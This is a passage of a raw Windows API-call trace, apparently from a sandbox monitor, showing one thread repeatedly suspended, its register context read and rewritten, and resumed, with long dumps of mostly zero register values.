[96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0167.925] ResumeThread (hThread=0x1d4) returned 0x1 [0167.925] CloseHandle (hObject=0x1d4) returned 1 [0167.925] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0168.041] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0168.150] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1d4) returned 1 [0168.150] SuspendThread (hThread=0x1d4) returned 0x0 [0168.150] GetThreadContext (in: hThread=0x1d4, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f790, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f8c7aa0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0168.153] SetThreadContext (hThread=0x1d4, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f788, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0168.153] ResumeThread (hThread=0x1d4) returned 0x1 [0168.153] CloseHandle (hObject=0x1d4) returned 1 [0168.153] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0168.265] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0168.373] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1d4) returned 1 [0168.373] SuspendThread (hThread=0x1d4) returned 0x0 [0168.373] GetThreadContext (in: hThread=0x1d4, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019fbd8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f9fefa0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0168.374] SetThreadContext (hThread=0x1d4, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019fbd0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0168.374] ResumeThread (hThread=0x1d4) returned 0x1 [0168.374] CloseHandle (hObject=0x1d4) returned 1 [0168.374] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0168.480] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0168.597] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1d4) returned 1 [0168.598] SuspendThread (hThread=0x1d4) returned 0x0 [0168.598] GetThreadContext (in: hThread=0x1d4, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f0e0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fd4e380, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, 